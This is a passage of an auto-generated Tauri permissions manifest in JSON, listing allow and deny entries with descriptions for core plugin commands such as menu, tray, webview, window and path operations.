scope.","commands":{"allow":[],"deny":["default_window_icon"]}},"deny-fetch-data-store-identifiers":{"identifier":"deny-fetch-data-store-identifiers","description":"Denies the fetch_data_store_identifiers command without any pre-configured scope.","commands":{"allow":[],"deny":["fetch_data_store_identifiers"]}},"deny-identifier":{"identifier":"deny-identifier","description":"Denies the identifier command without any pre-configured scope.","commands":{"allow":[],"deny":["identifier"]}},"deny-name":{"identifier":"deny-name","description":"Denies the name command without any pre-configured scope.","commands":{"allow":[],"deny":["name"]}},"deny-register-listener":{"identifier":"deny-register-listener","description":"Denies the register_listener command without any pre-configured scope.","commands":{"allow":[],"deny":["register_listener"]}},"deny-remove-data-store":{"identifier":"deny-remove-data-store","description":"Denies the remove_data_store command without any pre-configured scope.","commands":{"allow":[],"deny":["remove_data_store"]}},"deny-remove-listener":{"identifier":"deny-remove-listener","description":"Denies the remove_listener command without any pre-configured scope.","commands":{"allow":[],"deny":["remove_listener"]}},"deny-set-app-theme":{"identifier":"deny-set-app-theme","description":"Denies the set_app_theme command without any pre-configured scope.","commands":{"allow":[],"deny":["set_app_theme"]}},"deny-set-dock-visibility":{"identifier":"deny-set-dock-visibility","description":"Denies the set_dock_visibility command without any pre-configured scope.","commands":{"allow":[],"deny":["set_dock_visibility"]}},"deny-supports-multiple-windows":{"identifier":"deny-supports-multiple-windows","description":"Denies the supports_multiple_windows command without any pre-configured scope.","commands":{"allow":[],"deny":["supports_multiple_windows"]}},"deny-tauri-version":{"identifier":"deny-tauri-version","description":"Denies the tauri_version command without any pre-configured scope.","commands":{"allow":[],"deny":["tauri_version"]}},"deny-version":{"identifier":"deny-version","description":"Denies the version command without any pre-configured scope.","commands":{"allow":[],"deny":["version"]}}},"permission_sets":{},"global_scope_schema":null},"core:event":{"default_permission":{"identifier":"default","description":"Default permissions for the plugin, which enables all commands.","permissions":["allow-listen","allow-unlisten","allow-emit","allow-emit-to"]},"permissions":{"allow-emit":{"identifier":"allow-emit","description":"Enables the emit command without any pre-configured scope.","commands":{"allow":["emit"],"deny":[]}},"allow-emit-to":{"identifier":"allow-emit-to","description":"Enables the emit_to command without any pre-configured scope.","commands":{"allow":["emit_to"],"deny":[]}},"allow-listen":{"identifier":"allow-listen","description":"Enables the listen command without any pre-configured scope.","commands":{"allow":["listen"],"deny":[]}},"allow-unlisten":{"identifier":"allow-unlisten","description":"Enables the unlisten command without any pre-configured scope.","commands":{"allow":["unlisten"],"deny":[]}},"deny-emit":{"identifier":"deny-emit","description":"Denies the emit command without any pre-configured scope.","commands":{"allow":[],"deny":["emit"]}},"deny-emit-to":{"identifier":"deny-emit-to","description":"Denies the emit_to command without any pre-configured scope.","commands":{"allow":[],"deny":["emit_to"]}},"deny-listen":{"identifier":"deny-listen","description":"Denies the listen command without any pre-configured scope.","commands":{"allow":[],"deny":["listen"]}},"deny-unlisten":{"identifier":"deny-unlisten","description":"Denies the unlisten command without any pre-configured scope.","commands":{"allow":[],"deny":["unlisten"]}}},"permission_sets":{},"global_scope_schema":null},"core:image":{"default_permission":{"identifier":"default","description":"Default permissions for the plugin, which enables all commands.","permissions":["allow-new","allow-from-bytes","allow-from-path","allow-rgba","allow-size"]},"permissions":{"allow-from-bytes":{"identifier":"allow-from-bytes","description":"Enables the from_bytes command without any pre-configured scope.","commands":{"allow":["from_bytes"],"deny":[]}},"allow-from-path":{"identifier":"allow-from-path","description":"Enables the from_path command without any pre-configured scope.","commands":{"allow":["from_path"],"deny":[]}},"allow-new":{"identifier":"allow-new","description":"Enables the new command without any pre-configured scope.","commands":{"allow":["new"],"deny":[]}},"allow-rgba":{"identifier":"allow-rgba","description":"Enables the rgba command without any pre-configured scope.","commands":{"allow":["rgba"],"deny":[]}},"allow-size":{"identifier":"allow-size","description":"Enables the size command without any pre-configured scope.","commands":{"allow":["size"],"deny":[]}},"deny-from-bytes":{"identifier":"deny-from-bytes","description":"Denies the from_bytes command without any pre-configured scope.","commands":{"allow":[],"deny":["from_bytes"]}},"deny-from-path":{"identifier":"deny-from-path","description":"Denies the from_path command without any pre-configured scope.","commands":{"allow":[],"deny":["from_path"]}},"deny-new":{"identifier":"deny-new","description":"Denies the new command without any pre-configured scope.","commands":{"allow":[],"deny":["new"]}},"deny-rgba":{"identifier":"deny-rgba","description":"Denies the rgba command without any pre-configured scope.","commands":{"allow":[],"deny":["rgba"]}},"deny-size":{"identifier":"deny-size","description":"Denies the size command without any pre-configured scope.","commands":{"allow":[],"deny":["size"]}}},"permission_sets":{},"global_scope_schema":null},"core:menu":{"default_permission":{"identifier":"default","description":"Default permissions for the plugin, which enables all commands.","permissions":["allow-new","allow-append","allow-prepend","allow-insert","allow-remove","allow-remove-at","allow-items","allow-get","allow-popup","allow-create-default","allow-set-as-app-menu","allow-set-as-window-menu","allow-text","allow-set-text","allow-is-enabled","allow-set-enabled","allow-set-accelerator","allow-set-as-windows-menu-for-nsapp","allow-set-as-help-menu-for-nsapp","allow-is-checked","allow-set-checked","allow-set-icon"]},"permissions":{"allow-append":{"identifier":"allow-append","description":"Enables the append command without any pre-configured scope.","commands":{"allow":["append"],"deny":[]}},"allow-create-default":{"identifier":"allow-create-default","description":"Enables the create_default command without any pre-configured scope.","commands":{"allow":["create_default"],"deny":[]}},"allow-get":{"identifier":"allow-get","description":"Enables the get command without any pre-configured scope.","commands":{"allow":["get"],"deny":[]}},"allow-insert":{"identifier":"allow-insert","description":"Enables the insert command without any pre-configured scope.","commands":{"allow":["insert"],"deny":[]}},"allow-is-checked":{"identifier":"allow-is-checked","description":"Enables the is_checked command without any pre-configured scope.","commands":{"allow":["is_checked"],"deny":[]}},"allow-is-enabled":{"identifier":"allow-is-enabled","description":"Enables the is_enabled command without any pre-configured scope.","commands":{"allow":["is_enabled"],"deny":[]}},"allow-items":{"identifier":"allow-items","description":"Enables the items command without any pre-configured scope.","commands":{"allow":["items"],"deny":[]}},"allow-new":{"identifier":"allow-new","description":"Enables the new command without any pre-configured scope.","commands":{"allow":["new"],"deny":[]}},"allow-popup":{"identifier":"allow-popup","description":"Enables the popup command without any pre-configured scope.","commands":{"allow":["popup"],"deny":[]}},"allow-prepend":{"identifier":"allow-prepend","description":"Enables the prepend command without any pre-configured scope.","commands":{"allow":["prepend"],"deny":[]}},"allow-remove":{"identifier":"allow-remove","description":"Enables the remove command without any pre-configured scope.","commands":{"allow":["remove"],"deny":[]}},"allow-remove-at":{"identifier":"allow-remove-at","description":"Enables the remove_at command without any pre-configured scope.","commands":{"allow":["remove_at"],"deny":[]}},"allow-set-accelerator":{"identifier":"allow-set-accelerator","description":"Enables the set_accelerator command without any pre-configured scope.","commands":{"allow":["set_accelerator"],"deny":[]}},"allow-set-as-app-menu":{"identifier":"allow-set-as-app-menu","description":"Enables the set_as_app_menu command without any pre-configured scope.","commands":{"allow":["set_as_app_menu"],"deny":[]}},"allow-set-as-help-menu-for-nsapp":{"identifier":"allow-set-as-help-menu-for-nsapp","description":"Enables the set_as_help_menu_for_nsapp command without any pre-configured scope.","commands":{"allow":["set_as_help_menu_for_nsapp"],"deny":[]}},"allow-set-as-window-menu":{"identifier":"allow-set-as-window-menu","description":"Enables the set_as_window_menu command without any pre-configured scope.","commands":{"allow":["set_as_window_menu"],"deny":[]}},"allow-set-as-windows-menu-for-nsapp":{"identifier":"allow-set-as-windows-menu-for-nsapp","description":"Enables the set_as_windows_menu_for_nsapp command without any pre-configured scope.","commands":{"allow":["set_as_windows_menu_for_nsapp"],"deny":[]}},"allow-set-checked":{"identifier":"allow-set-checked","description":"Enables the set_checked command without any pre-configured scope.","commands":{"allow":["set_checked"],"deny":[]}},"allow-set-enabled":{"identifier":"allow-set-enabled","description":"Enables the set_enabled command without any pre-configured scope.","commands":{"allow":["set_enabled"],"deny":[]}},"allow-set-icon":{"identifier":"allow-set-icon","description":"Enables the set_icon command without any pre-configured scope.","commands":{"allow":["set_icon"],"deny":[]}},"allow-set-text":{"identifier":"allow-set-text","description":"Enables the set_text command without any pre-configured scope.","commands":{"allow":["set_text"],"deny":[]}},"allow-text":{"identifier":"allow-text","description":"Enables the text command without any pre-configured scope.","commands":{"allow":["text"],"deny":[]}},"deny-append":{"identifier":"deny-append","description":"Denies the append command without any pre-configured scope.","commands":{"allow":[],"deny":["append"]}},"deny-create-default":{"identifier":"deny-create-default","description":"Denies the create_default command without any pre-configured scope.","commands":{"allow":[],"deny":["create_default"]}},"deny-get":{"identifier":"deny-get","description":"Denies the get command without any pre-configured scope.","commands":{"allow":[],"deny":["get"]}},"deny-insert":{"identifier":"deny-insert","description":"Denies the insert command without any pre-configured scope.","commands":{"allow":[],"deny":["insert"]}},"deny-is-checked":{"identifier":"deny-is-checked","description":"Denies the is_checked command without any pre-configured scope.","commands":{"allow":[],"deny":["is_checked"]}},"deny-is-enabled":{"identifier":"deny-is-enabled","description":"Denies the is_enabled command without any pre-configured scope.","commands":{"allow":[],"deny":["is_enabled"]}},"deny-items":{"identifier":"deny-items","description":"Denies the items command without any pre-configured scope.","commands":{"allow":[],"deny":["items"]}},"deny-new":{"identifier":"deny-new","description":"Denies the new command without any pre-configured scope.","commands":{"allow":[],"deny":["new"]}},"deny-popup":{"identifier":"deny-popup","description":"Denies the popup command without any pre-configured scope.","commands":{"allow":[],"deny":["popup"]}},"deny-prepend":{"identifier":"deny-prepend","description":"Denies the prepend command without any pre-configured scope.","commands":{"allow":[],"deny":["prepend"]}},"deny-remove":{"identifier":"deny-remove","description":"Denies the remove command without any pre-configured scope.","commands":{"allow":[],"deny":["remove"]}},"deny-remove-at":{"identifier":"deny-remove-at","description":"Denies the remove_at command without any pre-configured scope.","commands":{"allow":[],"deny":["remove_at"]}},"deny-set-accelerator":{"identifier":"deny-set-accelerator","description":"Denies the set_accelerator command without any pre-configured scope.","commands":{"allow":[],"deny":["set_accelerator"]}},"deny-set-as-app-menu":{"identifier":"deny-set-as-app-menu","description":"Denies the set_as_app_menu command without any pre-configured scope.","commands":{"allow":[],"deny":["set_as_app_menu"]}},"deny-set-as-help-menu-for-nsapp":{"identifier":"deny-set-as-help-menu-for-nsapp","description":"Denies the set_as_help_menu_for_nsapp command without any pre-configured scope.","commands":{"allow":[],"deny":["set_as_help_menu_for_nsapp"]}},"deny-set-as-window-menu":{"identifier":"deny-set-as-window-menu","description":"Denies the set_as_window_menu command without any pre-configured scope.","commands":{"allow":[],"deny":["set_as_window_menu"]}},"deny-set-as-windows-menu-for-nsapp":{"identifier":"deny-set-as-windows-menu-for-nsapp","description":"Denies the set_as_windows_menu_for_nsapp command without any pre-configured scope.","commands":{"allow":[],"deny":["set_as_windows_menu_for_nsapp"]}},"deny-set-checked":{"identifier":"deny-set-checked","description":"Denies the set_checked command without any pre-configured scope.","commands":{"allow":[],"deny":["set_checked"]}},"deny-set-enabled":{"identifier":"deny-set-enabled","description":"Denies the set_enabled command without any pre-configured scope.","commands":{"allow":[],"deny":["set_enabled"]}},"deny-set-icon":{"identifier":"deny-set-icon","description":"Denies the set_icon command without any pre-configured scope.","commands":{"allow":[],"deny":["set_icon"]}},"deny-set-text":{"identifier":"deny-set-text","description":"Denies the set_text command without any pre-configured scope.","commands":{"allow":[],"deny":["set_text"]}},"deny-text":{"identifier":"deny-text","description":"Denies the text command without any pre-configured scope.","commands":{"allow":[],"deny":["text"]}}},"permission_sets":{},"global_scope_schema":null},"core:path":{"default_permission":{"identifier":"default","description":"Default permissions for the plugin, which enables all commands.","permissions":["allow-resolve-directory","allow-resolve","allow-normalize","allow-join","allow-dirname","allow-extname","allow-basename","allow-is-absolute"]},"permissions":{"allow-basename":{"identifier":"allow-basename","description":"Enables the basename command without any pre-configured scope.","commands":{"allow":["basename"],"deny":[]}},"allow-dirname":{"identifier":"allow-dirname","description":"Enables the dirname command without any pre-configured scope.","commands":{"allow":["dirname"],"deny":[]}},"allow-extname":{"identifier":"allow-extname","description":"Enables the extname command without any pre-configured scope.","commands":{"allow":["extname"],"deny":[]}},"allow-is-absolute":{"identifier":"allow-is-absolute","description":"Enables the is_absolute command without any pre-configured scope.","commands":{"allow":["is_absolute"],"deny":[]}},"allow-join":{"identifier":"allow-join","description":"Enables the join command without any pre-configured scope.","commands":{"allow":["join"],"deny":[]}},"allow-normalize":{"identifier":"allow-normalize","description":"Enables the normalize command without any pre-configured scope.","commands":{"allow":["normalize"],"deny":[]}},"allow-resolve":{"identifier":"allow-resolve","description":"Enables the resolve command without any pre-configured scope.","commands":{"allow":["resolve"],"deny":[]}},"allow-resolve-directory":{"identifier":"allow-resolve-directory","description":"Enables the resolve_directory command without any pre-configured scope.","commands":{"allow":["resolve_directory"],"deny":[]}},"deny-basename":{"identifier":"deny-basename","description":"Denies the basename command without any pre-configured scope.","commands":{"allow":[],"deny":["basename"]}},"deny-dirname":{"identifier":"deny-dirname","description":"Denies the dirname command without any pre-configured scope.","commands":{"allow":[],"deny":["dirname"]}},"deny-extname":{"identifier":"deny-extname","description":"Denies the extname command without any pre-configured scope.","commands":{"allow":[],"deny":["extname"]}},"deny-is-absolute":{"identifier":"deny-is-absolute","description":"Denies the is_absolute command without any pre-configured scope.","commands":{"allow":[],"deny":["is_absolute"]}},"deny-join":{"identifier":"deny-join","description":"Denies the join command without any pre-configured scope.","commands":{"allow":[],"deny":["join"]}},"deny-normalize":{"identifier":"deny-normalize","description":"Denies the normalize command without any pre-configured scope.","commands":{"allow":[],"deny":["normalize"]}},"deny-resolve":{"identifier":"deny-resolve","description":"Denies the resolve command without any pre-configured scope.","commands":{"allow":[],"deny":["resolve"]}},"deny-resolve-directory":{"identifier":"deny-resolve-directory","description":"Denies the resolve_directory command without any pre-configured scope.","commands":{"allow":[],"deny":["resolve_directory"]}}},"permission_sets":{},"global_scope_schema":null},"core:resources":{"default_permission":{"identifier":"default","description":"Default permissions for the plugin, which enables all commands.","permissions":["allow-close"]},"permissions":{"allow-close":{"identifier":"allow-close","description":"Enables the close command without any pre-configured scope.","commands":{"allow":["close"],"deny":[]}},"deny-close":{"identifier":"deny-close","description":"Denies the close command without any pre-configured scope.","commands":{"allow":[],"deny":["close"]}}},"permission_sets":{},"global_scope_schema":null},"core:tray":{"default_permission":{"identifier":"default","description":"Default permissions for the plugin, which enables all commands.","permissions":["allow-new","allow-get-by-id","allow-remove-by-id","allow-set-icon","allow-set-menu","allow-set-tooltip","allow-set-title","allow-set-visible","allow-set-temp-dir-path","allow-set-icon-as-template","allow-set-icon-with-as-template","allow-set-show-menu-on-left-click"]},"permissions":{"allow-get-by-id":{"identifier":"allow-get-by-id","description":"Enables the get_by_id command without any pre-configured scope.","commands":{"allow":["get_by_id"],"deny":[]}},"allow-new":{"identifier":"allow-new","description":"Enables the new command without any pre-configured scope.","commands":{"allow":["new"],"deny":[]}},"allow-remove-by-id":{"identifier":"allow-remove-by-id","description":"Enables the remove_by_id command without any pre-configured scope.","commands":{"allow":["remove_by_id"],"deny":[]}},"allow-set-icon":{"identifier":"allow-set-icon","description":"Enables the set_icon command without any pre-configured scope.","commands":{"allow":["set_icon"],"deny":[]}},"allow-set-icon-as-template":{"identifier":"allow-set-icon-as-template","description":"Enables the set_icon_as_template command without any pre-configured scope.","commands":{"allow":["set_icon_as_template"],"deny":[]}},"allow-set-icon-with-as-template":{"identifier":"allow-set-icon-with-as-template","description":"Enables the set_icon_with_as_template command without any pre-configured scope.","commands":{"allow":["set_icon_with_as_template"],"deny":[]}},"allow-set-menu":{"identifier":"allow-set-menu","description":"Enables the set_menu command without any pre-configured scope.","commands":{"allow":["set_menu"],"deny":[]}},"allow-set-show-menu-on-left-click":{"identifier":"allow-set-show-menu-on-left-click","description":"Enables the set_show_menu_on_left_click command without any pre-configured scope.","commands":{"allow":["set_show_menu_on_left_click"],"deny":[]}},"allow-set-temp-dir-path":{"identifier":"allow-set-temp-dir-path","description":"Enables the set_temp_dir_path command without any pre-configured scope.","commands":{"allow":["set_temp_dir_path"],"deny":[]}},"allow-set-title":{"identifier":"allow-set-title","description":"Enables the set_title command without any pre-configured scope.","commands":{"allow":["set_title"],"deny":[]}},"allow-set-tooltip":{"identifier":"allow-set-tooltip","description":"Enables the set_tooltip command without any pre-configured scope.","commands":{"allow":["set_tooltip"],"deny":[]}},"allow-set-visible":{"identifier":"allow-set-visible","description":"Enables the set_visible command without any pre-configured scope.","commands":{"allow":["set_visible"],"deny":[]}},"deny-get-by-id":{"identifier":"deny-get-by-id","description":"Denies the get_by_id command without any pre-configured scope.","commands":{"allow":[],"deny":["get_by_id"]}},"deny-new":{"identifier":"deny-new","description":"Denies the new command without any pre-configured scope.","commands":{"allow":[],"deny":["new"]}},"deny-remove-by-id":{"identifier":"deny-remove-by-id","description":"Denies the remove_by_id command without any pre-configured scope.","commands":{"allow":[],"deny":["remove_by_id"]}},"deny-set-icon":{"identifier":"deny-set-icon","description":"Denies the set_icon command without any pre-configured scope.","commands":{"allow":[],"deny":["set_icon"]}},"deny-set-icon-as-template":{"identifier":"deny-set-icon-as-template","description":"Denies the set_icon_as_template command without any pre-configured scope.","commands":{"allow":[],"deny":["set_icon_as_template"]}},"deny-set-icon-with-as-template":{"identifier":"deny-set-icon-with-as-template","description":"Denies the set_icon_with_as_template command without any pre-configured scope.","commands":{"allow":[],"deny":["set_icon_with_as_template"]}},"deny-set-menu":{"identifier":"deny-set-menu","description":"Denies the set_menu command without any pre-configured scope.","commands":{"allow":[],"deny":["set_menu"]}},"deny-set-show-menu-on-left-click":{"identifier":"deny-set-show-menu-on-left-click","description":"Denies the set_show_menu_on_left_click command without any pre-configured scope.","commands":{"allow":[],"deny":["set_show_menu_on_left_click"]}},"deny-set-temp-dir-path":{"identifier":"deny-set-temp-dir-path","description":"Denies the set_temp_dir_path command without any pre-configured scope.","commands":{"allow":[],"deny":["set_temp_dir_path"]}},"deny-set-title":{"identifier":"deny-set-title","description":"Denies the set_title command without any pre-configured scope.","commands":{"allow":[],"deny":["set_title"]}},"deny-set-tooltip":{"identifier":"deny-set-tooltip","description":"Denies the set_tooltip command without any pre-configured scope.","commands":{"allow":[],"deny":["set_tooltip"]}},"deny-set-visible":{"identifier":"deny-set-visible","description":"Denies the set_visible command without any pre-configured scope.","commands":{"allow":[],"deny":["set_visible"]}}},"permission_sets":{},"global_scope_schema":null},"core:webview":{"default_permission":{"identifier":"default","description":"Default permissions for the plugin.","permissions":["allow-get-all-webviews","allow-webview-position","allow-webview-size","allow-internal-toggle-devtools"]},"permissions":{"allow-clear-all-browsing-data":{"identifier":"allow-clear-all-browsing-data","description":"Enables the clear_all_browsing_data command without any pre-configured scope.","commands":{"allow":["clear_all_browsing_data"],"deny":[]}},"allow-create-webview":{"identifier":"allow-create-webview","description":"Enables the create_webview command without any pre-configured scope.","commands":{"allow":["create_webview"],"deny":[]}},"allow-create-webview-window":{"identifier":"allow-create-webview-window","description":"Enables the create_webview_window command without any pre-configured scope.","commands":{"allow":["create_webview_window"],"deny":[]}},"allow-get-all-webviews":{"identifier":"allow-get-all-webviews","description":"Enables the get_all_webviews command without any pre-configured scope.","commands":{"allow":["get_all_webviews"],"deny":[]}},"allow-internal-toggle-devtools":{"identifier":"allow-internal-toggle-devtools","description":"Enables the internal_toggle_devtools command without any pre-configured scope.","commands":{"allow":["internal_toggle_devtools"],"deny":[]}},"allow-print":{"identifier":"allow-print","description":"Enables the print command without any pre-configured scope.","commands":{"allow":["print"],"deny":[]}},"allow-reparent":{"identifier":"allow-reparent","description":"Enables the reparent command without any pre-configured scope.","commands":{"allow":["reparent"],"deny":[]}},"allow-set-webview-auto-resize":{"identifier":"allow-set-webview-auto-resize","description":"Enables the set_webview_auto_resize command without any pre-configured scope.","commands":{"allow":["set_webview_auto_resize"],"deny":[]}},"allow-set-webview-background-color":{"identifier":"allow-set-webview-background-color","description":"Enables the set_webview_background_color command without any pre-configured scope.","commands":{"allow":["set_webview_background_color"],"deny":[]}},"allow-set-webview-focus":{"identifier":"allow-set-webview-focus","description":"Enables the set_webview_focus command without any pre-configured scope.","commands":{"allow":["set_webview_focus"],"deny":[]}},"allow-set-webview-position":{"identifier":"allow-set-webview-position","description":"Enables the set_webview_position command without any pre-configured scope.","commands":{"allow":["set_webview_position"],"deny":[]}},"allow-set-webview-size":{"identifier":"allow-set-webview-size","description":"Enables the set_webview_size command without any pre-configured scope.","commands":{"allow":["set_webview_size"],"deny":[]}},"allow-set-webview-zoom":{"identifier":"allow-set-webview-zoom","description":"Enables the set_webview_zoom command without any pre-configured scope.","commands":{"allow":["set_webview_zoom"],"deny":[]}},"allow-webview-close":{"identifier":"allow-webview-close","description":"Enables the webview_close command without any pre-configured scope.","commands":{"allow":["webview_close"],"deny":[]}},"allow-webview-hide":{"identifier":"allow-webview-hide","description":"Enables the webview_hide command without any pre-configured scope.","commands":{"allow":["webview_hide"],"deny":[]}},"allow-webview-position":{"identifier":"allow-webview-position","description":"Enables the webview_position command without any pre-configured scope.","commands":{"allow":["webview_position"],"deny":[]}},"allow-webview-show":{"identifier":"allow-webview-show","description":"Enables the webview_show command without any pre-configured scope.","commands":{"allow":["webview_show"],"deny":[]}},"allow-webview-size":{"identifier":"allow-webview-size","description":"Enables the webview_size command without any pre-configured scope.","commands":{"allow":["webview_size"],"deny":[]}},"deny-clear-all-browsing-data":{"identifier":"deny-clear-all-browsing-data","description":"Denies the clear_all_browsing_data command without any pre-configured scope.","commands":{"allow":[],"deny":["clear_all_browsing_data"]}},"deny-create-webview":{"identifier":"deny-create-webview","description":"Denies the create_webview command without any pre-configured scope.","commands":{"allow":[],"deny":["create_webview"]}},"deny-create-webview-window":{"identifier":"deny-create-webview-window","description":"Denies the create_webview_window command without any pre-configured scope.","commands":{"allow":[],"deny":["create_webview_window"]}},"deny-get-all-webviews":{"identifier":"deny-get-all-webviews","description":"Denies the get_all_webviews command without any pre-configured scope.","commands":{"allow":[],"deny":["get_all_webviews"]}},"deny-internal-toggle-devtools":{"identifier":"deny-internal-toggle-devtools","description":"Denies the internal_toggle_devtools command without any pre-configured scope.","commands":{"allow":[],"deny":["internal_toggle_devtools"]}},"deny-print":{"identifier":"deny-print","description":"Denies the print command without any pre-configured scope.","commands":{"allow":[],"deny":["print"]}},"deny-reparent":{"identifier":"deny-reparent","description":"Denies the reparent command without any pre-configured scope.","commands":{"allow":[],"deny":["reparent"]}},"deny-set-webview-auto-resize":{"identifier":"deny-set-webview-auto-resize","description":"Denies the set_webview_auto_resize command without any pre-configured scope.","commands":{"allow":[],"deny":["set_webview_auto_resize"]}},"deny-set-webview-background-color":{"identifier":"deny-set-webview-background-color","description":"Denies the set_webview_background_color command without any pre-configured scope.","commands":{"allow":[],"deny":["set_webview_background_color"]}},"deny-set-webview-focus":{"identifier":"deny-set-webview-focus","description":"Denies the set_webview_focus command without any pre-configured scope.","commands":{"allow":[],"deny":["set_webview_focus"]}},"deny-set-webview-position":{"identifier":"deny-set-webview-position","description":"Denies the set_webview_position command without any pre-configured scope.","commands":{"allow":[],"deny":["set_webview_position"]}},"deny-set-webview-size":{"identifier":"deny-set-webview-size","description":"Denies the set_webview_size command without any pre-configured scope.","commands":{"allow":[],"deny":["set_webview_size"]}},"deny-set-webview-zoom":{"identifier":"deny-set-webview-zoom","description":"Denies the set_webview_zoom command without any pre-configured scope.","commands":{"allow":[],"deny":["set_webview_zoom"]}},"deny-webview-close":{"identifier":"deny-webview-close","description":"Denies the webview_close command without any pre-configured scope.","commands":{"allow":[],"deny":["webview_close"]}},"deny-webview-hide":{"identifier":"deny-webview-hide","description":"Denies the webview_hide command without any pre-configured scope.","commands":{"allow":[],"deny":["webview_hide"]}},"deny-webview-position":{"identifier":"deny-webview-position","description":"Denies the webview_position command without any pre-configured scope.","commands":{"allow":[],"deny":["webview_position"]}},"deny-webview-show":{"identifier":"deny-webview-show","description":"Denies the webview_show command without any pre-configured scope.","commands":{"allow":[],"deny":["webview_show"]}},"deny-webview-size":{"identifier":"deny-webview-size","description":"Denies the webview_size command without any pre-configured scope.","commands":{"allow":[],"deny":["webview_size"]}}},"permission_sets":{},"global_scope_schema":null},"core:window":{"default_permission":{"identifier":"default","description":"Default permissions for the plugin.","permissions":["allow-get-all-windows","allow-scale-factor","allow-inner-position","allow-outer-position","allow-inner-size","allow-outer-size","allow-is-fullscreen","allow-is-minimized","allow-is-maximized","allow-is-focused","allow-is-decorated","allow-is-resizable","allow-is-maximizable","allow-is-minimizable","allow-is-closable","allow-is-visible","allow-is-enabled","allow-title","allow-current-monitor","allow-primary-monitor","allow-monitor-from-point","allow-available-monitors","allow-cursor-position","allow-theme","allow-is-always-on-top","allow-activity-name","allow-scene-identifier","allow-internal-toggle-maximize"]},"permissions":{"allow-activity-name":{"identifier":"allow-activity-name","description":"Enables the activity_name command without any pre-configured scope.","commands":{"allow":["activity_name"],"deny":[]}},"allow-available-monitors":{"identifier":"allow-available-monitors","description":"Enables the available_monitors command without any pre-configured scope.","commands":{"allow":["available_monitors"],"deny":[]}},"allow-center":{"identifier":"allow-center","description":"Enables the center command without any pre-configured scope.","commands":{"allow":["center"],"deny":[]}},"allow-close":{"identifier":"allow-close","description":"Enables the close command without any pre-configured scope.","commands":{"allow":["close"],"deny":[]}},"allow-create":{"identifier":"allow-create","description":"Enables the create command without any pre-configured scope.","commands":{"allow":["create"],"deny":[]}},"allow-current-monitor":{"identifier":"allow-current-monitor","description":"Enables the current_monitor command without any pre-configured scope.","commands":{"allow":["current_monitor"],"deny":[]}},"allow-cursor-position":{"identifier":"allow-cursor-position","description":"Enables the cursor_position command without any pre-configured scope.","commands":{"allow":["cursor_position"],"deny":[]}},"allow-destroy":{"identifier":"allow-destroy","description":"Enables the destroy command without any pre-configured scope.","commands":{"allow":["destroy"],"deny":[]}},"allow-get-all-windows":{"identifier":"allow-get-all-windows","description":"Enables the get_all_windows command without any pre-configured scope.","commands":{"allow":["get_all_windows"],"deny":[]}},"allow-hide":{"identifier":"allow-hide","description":"Enables the hide command without any pre-configured scope.","commands":{"allow":["hide"],"deny":[]}},"allow-inner-position":{"identifier":"allow-inner-position","description":"Enables the inner_position command without any pre-configured scope.","commands":{"allow":["inner_position"],"deny":[]}},"allow-inner-size":{"identifier":"allow-inner-size","description":"Enables the inner_size command without any pre-configured scope.","commands":{"allow":["inner_size"],"deny":[]}},"allow-internal-toggle-maximize":{"identifier":"allow-internal-toggle-maximize","description":"Enables the internal_toggle_maximize command without any pre-configured scope.","commands":{"allow":["internal_toggle_maximize"],"deny":[]}},"allow-is-always-on-top":{"identifier":"allow-is-always-on-top","description":"Enables the is_always_on_top command without any pre-configured scope.","commands":{"allow":["is_always_on_top"],"deny":[]}},"allow-is-closable":{"identifier":"allow-is-closable","description":"Enables the is_closable command without any pre-configured scope.","commands":{"allow":["is_closable"],"deny":[]}},"allow-is-decorated":{"identifier":"allow-is-decorated","description":"Enables the is_decorated command without any pre-configured scope.","commands":{"allow":["is_decorated"],"deny":[]}},"allow-is-enabled":{"identifier":"allow-is-enabled","description":"Enables the is_enabled command without any pre-configured scope.","commands":{"allow":["is_enabled"],"deny":[]}},"allow-is-focused":{"identifier":"allow-is-focused","description":"Enables the is_focused command without any pre-configured scope.","commands":{"allow":["is_focused"],"deny":[]}},"allow-is-fullscreen":{"identifier":"allow-is-fullscreen","description":"Enables the is_fullscreen command without any pre-configured scope.","commands":{"allow":["is_fullscreen"],"deny":[]}},"allow-is-maximizable":{"identifier":"allow-is-maximizable","description":"Enables the is_maximizable command without any pre-configured scope.","commands":{"allow":["is_maximizable"],"deny":[]}},"allow-is-maximized":{"identifier":"allow-is-maximized","description":"Enables the is_maximized command without any pre-configured scope.","commands":{"allow":["is_maximized"],"deny":[]}},"allow-is-minimizable":{"identifier":"allow-is-minimizable","description":"Enables the is_minimizable command without any pre-configured scope.","commands":{"allow":["is_minimizable"],"deny":[]}},"allow-is-minimized":{"identifier":"allow-is-minimized","description":"Enables the is_minimized command without any pre-configured scope.","commands":{"allow":["is_minimized"],"deny":[]}},"allow-is-resizable":{"identifier":"allow-is-resizable","description":"Enables the is_resizable command without any pre-configured scope.","commands":{"allow":["is_resizable"],"deny":[]}},"allow-is-visible":{"identifier":"allow-is-visible","description":"Enables the is_visible command without any pre-configured scope.","commands":{"allow":["is_visible"],"deny":[]}},"allow-maximize":{"identifier":"allow-maximize","description":"Enables the maximize command without any pre-configured scope.","commands":{"allow":["maximize"],"deny":[]}},"allow-minimize":{"identifier":"allow-minimize","description":"Enables the minimize command without any pre-configured scope.","commands":{"allow":["minimize"],"deny":[]}},"allow-monitor-from-point":{"identifier":"allow-monitor-from-point","description":"Enables the monitor_from_point command without any pre-configured scope.","commands":{"allow":["monitor_from_point"],"deny":[]}},"allow-outer-position":{"identifier":"allow-outer-position","description":"Enables the outer_position command without any pre-configured scope.","commands":{"allow":["outer_position"],"deny":[]}},"allow-outer-size":{"identifier":"allow-outer-size","description":"Enables the outer_size command without any pre-configured scope.","commands":{"allow":["outer_size"],"deny":[]}},"allow-primary-monitor":{"identifier":"allow-primary-monitor","description":"Enables the primary_monitor command without any pre-configured scope.","commands":{"allow":["primary_monitor"],"deny":[]}},"allow-request-user-attention":{"identifier":"allow-request-user-attention","description":"Enables the request_user_attention command without any pre-configured scope.","commands":{"allow":["request_user_attention"],"deny":[]}},"allow-scale-factor":{"identifier":"allow-scale-factor","description":"Enables the scale_factor command without any pre-configured scope.","commands":{"allow":["scale_factor"],"deny":[]}},"allow-scene-identifier":{"identifier":"allow-scene-identifier","description":"Enables the scene_identifier command without any pre-configured scope.","commands":{"allow":["scene_identifier"],"deny":[]}},"allow-set-always-on-bottom":{"identifier":"allow-set-always-on-bottom","description":"Enables the set_always_on_bottom command without any pre-configured scope.","commands":{"allow":["set_always_on_bottom"],"deny":[]}},"allow-set-always-on-top":{"identifier":"allow-set-always-on-top","description":"Enables the set_always_on_top command without any pre-configured 